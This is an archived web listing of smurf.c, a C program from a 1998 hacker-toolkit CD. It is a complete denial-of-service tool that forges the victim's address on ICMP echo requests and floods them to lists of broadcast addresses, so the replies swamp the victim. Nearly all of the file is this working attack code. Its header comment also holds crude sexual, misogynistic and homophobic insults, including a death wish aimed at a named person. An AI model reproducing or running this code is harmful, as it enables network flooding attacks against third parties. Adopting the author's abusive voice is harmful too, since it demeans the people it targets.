home *** CD-ROM | disk | FTP | other *** search
/ The Elite Hackers Toolkit / TheEliteHackersToolkitVolume1_1998.rar / HACKERS.BIN / dos / linuxzone / smurf.c < prev    next >
C/C++ Source or Header  |  1998-09-13  |  7KB  |  224 lines

  1. /*
  2.  *
  3.  *  $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $
  4.  *
  5.  *  spoofs icmp packets from a host to various broadcast addresses resulting
  6.  *  in multiple replies to that host from a single packet.
  7.  *
  8.  *  mad head to:
  9.  *     nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,
  10.  *     MissSatan for swallowing, napster for pimping my sister, the guy that
  11.  *     invented vaseline, fyber for trying, knowy, old school #havok, kain
  12.  *     cos he rox my sox, zuez, toxik, robocod, and everyone else that i might
  13.  *     have missed (you know who you are).
  14.  *
  15.  *     hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy
  16.  *     thing he is (he's -almost- as stubborn as me, still i managed to pick up
  17.  *     half the cheque).
  18.  *
  19.  *     and a special hi to Todd, face it dude, you're fucking awesome.
  20.  *
  21.  *  mad anal to:
  22.  *     #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps
  23.  *     because they plain suck, Rolex for being a twit, everyone that
  24.  *     trades warez, Caren for being a lesbian hoe, AcidKill for being her
  25.  *     partner, #cha0s, sedriss for having an ego in inverse proportion to
  26.  *     his penis and anyone that can't pee standing up -- you don't know what
  27.  *     your missing out on.
  28.  *
  29.  *     and anyone thats ripped my code (diff smurf.c axcast.c is rather
  30.  *     interesting).
  31.  *
  32.  *     and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill
  33.  *     Robbins for trying to steal my girlfriend.  Not only did you show me
  34.  *     no respect but you're a manipulating prick who tried to take away the
  35.  *     most important thing in the world to me with no guilt whatsoever, and
  36.  *     for that I wish you nothing but pain.  Die.
  37.  *
  38.  *  disclaimer:
  39.  *     I cannot and will not be held responsible nor legally bound for the
  40.  *     malicious activities of individuals who come into possession of this
  41.  *     program and I refuse to provide help or support of any kind and do NOT
  42.  *     condone use of this program to deny service to anyone or any machine.
  43.  *     This is for educational use only. Please Don't abuse this.
  44.  *
  45.  *  Well, i really, really, hate this code, but yet here I am creating another
  46.  *  disgusting version of it.  Odd, indeed.  So why did I write it?  Well, I,
  47.  *  like most programmers don't like seeing bugs in their code.  I saw a few
  48.  *  things that should have been done better or needed fixing so I fixed
  49.  *  them.  -shrug-, programming for me as always seemed to take the pain away
  50.  *  ...
  51.  *
  52.  *
  53.  */
  54.  
  55. #include <signal.h>
  56. #include <stdio.h>
  57. #include <stdlib.h>
  58. #include <sys/socket.h>
  59. #include <sys/types.h>
  60. #include <netinet/in.h>
  61. #include <netinet/ip.h>
  62. #include <netinet/ip_icmp.h>
  63. #include <netdb.h>
  64. #include <ctype.h>
  65. #include <arpa/inet.h>
  66. #include <unistd.h>
  67. #include <string.h>
  68.  
  69. void banner(void);
  70. void usage(char *);
  71. void smurf(int, struct sockaddr_in, u_long, int);
  72. void ctrlc(int);
  73. unsigned short in_chksum(u_short *, int);
  74.  
  75. /* stamp */
  76. char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";
  77.  
  78. int main (int argc, char *argv[])
  79. {
  80.    struct sockaddr_in sin;
  81.    struct hostent *he;
  82.    FILE   *bcastfile;
  83.    int    i, sock, bcast, delay, num, pktsize, cycle = 0, x;
  84.    char   buf[32], **bcastaddr = malloc(8192);
  85.  
  86.    banner();
  87.    signal(SIGINT, ctrlc);
  88.  
  89.    if (argc < 6) usage(argv[0]);
  90.  
  91.    if ((he = gethostbyname(argv[1])) == NULL) {
  92.       perror("resolving source host");
  93.       exit(-1);
  94.    }
  95.    memcpy((caddr_t)&sin.sin_addr, he->h_addr, he->h_length);
  96.    sin.sin_family = AF_INET;
  97.    sin.sin_port = htons(0);
  98.  
  99.    num = atoi(argv[3]);
  100.    delay = atoi(argv[4]);
  101.    pktsize = atoi(argv[5]);
  102.  
  103.    if ((bcastfile = fopen(argv[2], "r")) == NULL) {
  104.       perror("opening bcast file");
  105.       exit(-1);
  106.    }
  107.    x = 0;
  108.    while (!feof(bcastfile)) {
  109.       fgets(buf, 32, bcastfile);
  110.       if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;
  111.       for (i = 0; i < strlen(buf); i++)
  112.           if (buf[i] == '\n') buf[i] = '\0';
  113.       bcastaddr[x] = malloc(32);
  114.       strcpy(bcastaddr[x], buf);
  115.       x++;
  116.    }
  117.    bcastaddr[x] = 0x0;
  118.    fclose(bcastfile);
  119.  
  120.    if (x == 0) {
  121.       fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);
  122.       exit(-1);
  123.    }
  124.    if (pktsize > 1024) {
  125.       fprintf(stderr, "ERROR: packet size must be < 1024\n\n");
  126.       exit(-1);
  127.    }
  128.  
  129.    if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
  130.       perror("getting socket");
  131.       exit(-1);
  132.    }
  133.    setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&bcast, sizeof(bcast));
  134.  
  135.    printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);
  136.  
  137.    for (i = 0; i < num || !num; i++) {
  138.       if (!(i % 25)) { printf("."); fflush(stdout); }
  139.       smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
  140.       cycle++;
  141.       if (bcastaddr[cycle] == 0x0) cycle = 0;
  142.       usleep(delay);
  143.    }
  144.    puts("\n\n");
  145.    return 0;
  146. }
  147.  
  148. void banner (void)
  149. {
  150.    puts("\nsmurf.c v4.0 by TFreak\n");
  151. }
  152.  
  153. void usage (char *prog)
  154. {
  155.    fprintf(stderr, "usage: %s <target> <bcast file> "
  156.                    "<num packets> <packet delay> <packet size>\n\n"
  157.                    "target        = address to hit\n"
  158.                    "bcast file    = file to read broadcast addresses from\n"
  159.                    "num packets   = number of packets to send (0 = flood)\n"
  160.                    "packet delay  = wait between each packet (in ms)\n"
  161.                    "packet size   = size of packet (< 1024)\n\n", prog);
  162.    exit(-1);
  163. }
  164.  
  165. void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)
  166. {
  167.    struct iphdr *ip;
  168.    struct icmphdr *icmp;
  169.    char *packet;
  170.  
  171.    packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
  172.    ip = (struct iphdr *)packet;
  173.    icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));
  174.  
  175.    memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
  176.  
  177.    ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
  178.    ip->ihl = 5;
  179.    ip->version = 4;
  180.    ip->ttl = 255;
  181.    ip->tos = 0;
  182.    ip->frag_off = 0;
  183.    ip->protocol = IPPROTO_ICMP;
  184.    ip->saddr = sin.sin_addr.s_addr;
  185.    ip->daddr = dest;
  186.    ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr));
  187.    icmp->type = 8;
  188.    icmp->code = 0;
  189.    icmp->checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);
  190.  
  191.    sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,
  192.           0, (struct sockaddr *)&sin, sizeof(struct sockaddr));
  193.  
  194.    free(packet);           /* free willy! */
  195. }
  196.  
  197. void ctrlc (int ignored)
  198. {
  199.    puts("\nDone!\n");
  200.    exit(1);
  201. }
  202.  
  203. unsigned short in_chksum (u_short *addr, int len)
  204. {
  205.    register int nleft = len;
  206.    register int sum = 0;
  207.    u_short answer = 0;
  208.  
  209.    while (nleft > 1) {
  210.       sum += *addr++;
  211.       nleft -= 2;
  212.    }
  213.  
  214.    if (nleft == 1) {
  215.       *(u_char *)(&answer) = *(u_char *)addr;
  216.       sum += answer;
  217.    }
  218.  
  219.    sum = (sum >> 16) + (sum + 0xffff);
  220.    sum += (sum >> 16);
  221.    answer = ~sum;
  222.    return(answer);
  223. }
  224.